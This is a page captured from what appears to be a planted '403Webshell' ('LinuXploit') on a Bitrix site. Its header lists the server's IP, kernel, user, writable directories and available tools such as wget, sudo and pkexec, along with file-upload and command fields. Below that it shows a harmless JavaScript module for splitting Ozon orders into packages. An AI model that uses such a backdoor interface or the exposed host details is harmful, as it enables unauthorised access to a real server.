403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/wbs24.ozonapinew/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/wbs24.ozonapinew/splitOrder.js
class Wbs24OzonapinewSplitOrder {
  debug = false;
  productsObject = null;
  orderErrorClass = 'js-wbs24-order-error';

  constructor(orderId, accountIndex, langPhrazes) {
     this.langPhrazes = langPhrazes;
     this.orderId = orderId;
     this.accountIndex = accountIndex;

     // Разделение заказа на разные упаковки
     this.validateOrderBtn = document.querySelector(".wbs24_start-collect-btn");
     this.pacakgeAddBtn = document.querySelector(".wbs24_add-new-package");
     this.node = document.getElementById("wbs24-packages");

     // Сборка заказа
     this.collectBtn = document.querySelector(".wbs24_collect-btn");
     this.collectOrderMessage = document.querySelector(".wbs24_collect_td");
     this.packageLabel = document.querySelector(".wbs24_package-label");
     this.actCreate = document.querySelector(".wbs24_act-create");

     // блокировка кнопок сборки и добавления упаковки
     this.pacakgeAddBtn.setAttribute("disabled", true);
     this.collectBtn.setAttribute("disabled", true);

     // Обработчики
     this.addHandler('click', '.wbs24_add-new-package');
  }

  // Сборка заказа
  trackButtonPressCollectOrder(postingNumber) {
    let collectBtn = this.collectBtn;
    let orderId = this.orderId;
    let collectOrderMessage = this.collectOrderMessage;
    let packageLabel = this.packageLabel;
    let actCreate = this.actCreate;

    if (collectBtn) {
      collectBtn.onclick = async (e) => {
        e.preventDefault();
        this.hideOrderErrors();
        let jsonPackages = JSON.stringify(this.productsObject);
        let url =
          '/bitrix/tools/wbs24.ozonapinew/ajax.php?ACTION=collect_order&packages=' + jsonPackages
          + '&order_id=' + orderId
          + '&posting_number=' + postingNumber
          + '&account_index=' + this.accountIndex
        ;
        e.preventDefault();
        let response = await fetch(url);
        let responseText = await response.text();
        if (this.debug) console.log(responseText);
        let data = JSON.parse(responseText);
        if (this.debug) console.log(data);
        if (data.result == "success") {
          collectBtn.setAttribute('disabled', true);
          collectOrderMessage.style.display = 'inline-block';
          packageLabel.removeAttribute('disabled');
          actCreate.removeAttribute('disabled');
        } else {
          let orderError = document.querySelector("."+this.orderErrorClass+"[data-error='"+data.result+"']");
          if (!orderError) orderError = document.querySelector("."+this.orderErrorClass+"[data-error='UNKNOWN']");
          if (orderError) {
            orderError.style.display = 'inline-block';
          }
        }
      };
    }
  }

  hideOrderErrors() {
    let orderErrors = document.querySelectorAll("."+this.orderErrorClass);
    for (let error of orderErrors) {
      error.style.display = 'none';
    }
  }

  // Разделение заказа на упаковки
  runOrderSplit(postingNumber) {
    this.validateOrder (
      postingNumber,
      this.validateOrderBtn,
      this.orderId,
      this.accountIndex
    );
  }

  validateOrder (
    postingNumber,
    validateOrderBtn,
    orderId,
    accountIndex
  ) {
    if (
      validateOrderBtn
      && orderId
      && accountIndex
    ) {
      validateOrderBtn.onclick = async (e) => {
        e.preventDefault();
        let url =
        '/bitrix/tools/wbs24.ozonapinew/checkorder.php?ACTION=check_order'
        + '&order_id=' + orderId
        + '&posting_number=' + postingNumber
        + '&account_index=' + accountIndex
        ;
        let response = await fetch(url);
        let responseText = await response.text();
        let data = JSON.parse(responseText);
        if (data['products'] && data['validation']) {
          this.pacakgeAddBtn.removeAttribute("disabled");
          this.collectBtn.removeAttribute("disabled");
          this.continueOrderSplit(
            data['products'],
            true
          );
        } else {
          this.notifyErrors(this.node);
        }
      };
    };
  }

  continueOrderSplit(products, firstLaunch) {
    this.objectWork(products, firstLaunch);
    this.renderingWork(this.productsObject);
  }

  objectWork(products, firstLaunch) {
    if (firstLaunch) {
      this.productsObject = this.prepareObject(products);
    } else {
      this.productsObject = this.manageObject(products);
    }
  }

  renderingWork(productsObject) {
    if (productsObject) {
      this.renderingPackages(productsObject, this.node);
    }
  }

  prepareObject(
    products,
    packagesCount = 1,
    packageNumber = 1
  ) {

    for(let product of products) {
      product.packageNumber = packageNumber;
      product.id = product.product_id + '_' + packageNumber;
    }

    let productsObject = {
      packagesCount: packagesCount,
      products: products,
    };

    //console.log(productsObject);

    return productsObject;
  }

  manageObject(productsObject) {

    // Добавление новой упаковки
    if (this.propertyName == 'packagesCount') {
      productsObject.packagesCount += 1;
    }

    // Перемещение товара в другую упаковку
    if (this.propertyName == 'moveProduct') {
      let products = productsObject.products;
      let product = products.find(e => String(e.id) === String(this.productId));

      let arrId = this.productId.split('_');
      let productExists = products.find(e => e.id === arrId[0] + '_' + this.packageNumber);

      if (product.quantity == this.quantity) {
        if (productExists) {
          productExists.quantity += this.quantity;
          // удалить товар, у которого больше не осталось остатков
          const index = products.findIndex(e => e.id === this.productId);
          if (index !== -1) {
            products.splice(index, 1);
          }
        } else {
          product.id = arrId[0] + '_' + this.packageNumber;
          product.packageNumber = this.packageNumber;
        }
      }

      if (product.quantity > this.quantity) {

        // Уменьшаем остатки у текущего товара
        product.quantity -= this.quantity;

        // Если уже существует товар с таким id, то добавляем новое кол-во
        if (productExists) {
          productExists.quantity += this.quantity;
        } else {
          products.push(
            {
              product_id: product.product_id,
              name: product.name,
              quantity: this.quantity,
              packageNumber: this.packageNumber,
              id: arrId[0] + '_' + this.packageNumber,
            }
          );
        }
      }
    }

    //console.log(productsObject);

    return productsObject;
  }

  renderingPackages(productsObject, rootNodePackages) {
    rootNodePackages.innerHTML = '';
    const packagesCount = productsObject.packagesCount;

    for (let i = 1; i < (packagesCount + 1); i++) {

      // Создаем корневой html для упаковки
      this.createRootNodePackage(rootNodePackages, i);

      // Отфильтровываем все товары по номеру упаковки
      let filtredProducts = this.filterProductsByPackage(productsObject.products, i);

      // Кладем товары в упаковку
      this.putProductsInPackage(rootNodePackages, filtredProducts, i, packagesCount);
    }

    this.addHandler('click', '.wbs24_move-product-to-package');
  }

  createRootNodePackage(rootNodePackages, packageNumber) {
    let div = document.createElement('div');
    div.style.border = '1px solid #c4ced2';
    div.style.padding = '20px';
    div.style.marginBottom = '10px';
    div.dataset.packageNumber = packageNumber;
    div.innerHTML = '<div style="padding:0 0 10px 0">'+ this.langPhrazes.title +' '+ packageNumber +'</div>';
    rootNodePackages.append(div);
  }

  filterProductsByPackage(products, packageNumber) {
    let filtredProducts = [];
    for (let product of products) {
      if (product.packageNumber == packageNumber) {
        filtredProducts.push(product);
      }
    }

    return filtredProducts;
  }

  putProductsInPackage(rootNodePackages, filtredProducts, i, packagesCount) {
    const rootPackageNode = rootNodePackages.querySelector('div[data-package-number="'+ i +'"]');
    let html = '';

    for (const filtredProduct of filtredProducts) {

      let selectForQuantity = this.getSelect(filtredProduct.quantity, this.langPhrazes.quantity);
      let selectForPackages = this.getSelect(packagesCount,  this.langPhrazes.package_button, filtredProduct.packageNumber);

      html += `
        <div class="wbs24__product">
          <div class="wbs24__product_title">`+ filtredProduct.name +`</div>
          <div class="wbs24__product_quantity">`+ filtredProduct.quantity +` `+ this.langPhrazes.quantity +`</div>
          <div class="wbs24__product_move">
            <input type="button" data-property="moveProduct" data-double="`+ filtredProduct.double +`" data-id="`+ filtredProduct.id +`" class="wbs24_move-product-to-package" value="`+ this.langPhrazes.move +`">
          </div>
          <div class="wbs24__product_select_quantity">
            <select data-propery="quantity" data-id="`+ filtredProduct.id +`" class="wbs24_select-quantity">`+ selectForQuantity +`</select>
          </div>
          <div class="wbs24__product_pretext">`+ this.langPhrazes.pretext +`</div>
          <div class="wbs24__product_select_package">
            <select data-propery="packageNumber" data-id="`+ filtredProduct.id +`" class="wbs24_select-package">`+ selectForPackages +`</select>
          </div>
      </div>
      `;
    }

    rootPackageNode.innerHTML += html;
  }

  getSelect(count, nameProperty, current = false) {
    let html = '';
    for (let i = 1; i <= count; i++) {
      if (i != current) {
        html += '<option value="' + i + '">' + i + ' ' + nameProperty + '</option>';
      }
    }

    return html;
  }

  addHandler(event, css) {
    const items = document.querySelectorAll(css);
    items.forEach(item => {
      item.addEventListener(event, (e) => {
        e.preventDefault();
        if (event == 'click') {

          if (item.dataset.property == 'packagesCount') {
            this.propertyName = item.dataset.property;
            this.continueOrderSplit(this.productsObject, false);
          }

          if (item.dataset.property == 'moveProduct') {
            let parent = item.closest('.wbs24__product');
            let selectQuantity = parent.querySelector('.wbs24_select-quantity');
            let selectPackage = parent.querySelector('.wbs24_select-package');

            this.quantity = Number(selectQuantity.options[selectQuantity.selectedIndex].value);
            this.packageNumber =  Number(selectPackage.options[selectPackage.selectedIndex].value);

            this.productId = item.dataset.id;
            this.propertyName = item.dataset.property;

            this.continueOrderSplit(this.productsObject, false);
          }
        }
      });
    });
  }

  notifyErrors(rootNodePackages) {
    let div = document.createElement('div');
    div.classList = 'wbs24__packages_error'
    div.innerHTML = this.langPhrazes.error;
    rootNodePackages.append(div);
  }
 }

Youez - 2016 - github.com/yon3zu
LinuXploit